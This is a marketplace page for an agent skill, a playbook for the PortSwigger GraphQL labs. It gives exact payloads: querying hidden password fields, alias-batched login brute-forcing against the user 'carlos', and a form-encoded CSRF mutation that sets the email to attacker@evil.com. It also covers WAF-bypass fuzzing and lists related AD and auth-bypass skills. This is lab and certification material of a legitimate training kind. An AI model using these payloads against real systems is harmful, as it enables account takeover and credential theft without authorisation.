Skip to content
cccskills
FreePublished on GitHub

GraphQL API — Deep Dive

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

The English summary is being prepared. Showing the original description.

See how to install

Files included (2)

  • SKILL.md4.1 KB
  • scripts/process.py7.8 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

GraphQL API — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Accessing private posts 🟡 PRACTITIONER

{getBlogPost(id:3){id title postPassword}}

Query hidden postPassword field discovered via introspection.

Lab 2: Accidental field exposure 🟡 PRACTITIONER

Introspection → find User type → discover hidden field like password → query it.

Lab 3: Finding hidden endpoint 🟡 PRACTITIONER

Try: /graphql, /api, /api/graphql, /graphql/v1. Send universal query: {__typename}.

Lab 4: Bypass brute force protection 🟡 PRACTITIONER

mutation {
  login0:login(input:{username:"carlos",password:"123456"}){token}
  login1:login(input:{username:"carlos",password:"password"}){token}
  login2:login(input:{username:"carlos",password:"qwerty"}){token}
}

Batch aliases bypass per-request rate limiting.

Lab 5: CSRF over GraphQL 🟡 PRACTITIONER

Change Content-Type to application/x-www-form-urlencoded:

query=mutation{changeEmail(input:{email:"attacker@evil.com"}){email}}

Form-encoded GraphQL bypasses CSRF protection that only checks JSON requests.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

  1. Identify the filter/WAF
  2. Fuzz with Burp Intruder custom wordlists
  3. Search GitHub/Twitter for new bypasses
  4. Chain with other vulns for escalation
  5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

ConceptDescription
PortSwigger VectorsStandardized approaches to vulnerability classes.
Payload EncodingModifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

  • Deploy robust WAF rules to detect anomalies.
  • Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

  • Input Validation: Sanitize and strictly type-check all inputs.
  • Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

The English summary is being prepared. Showing the original description.

ShulkwiSEC/bb-huge23Updated Jul 11, 2026

See all skills by ShulkwiSEC

Report a problem with this skill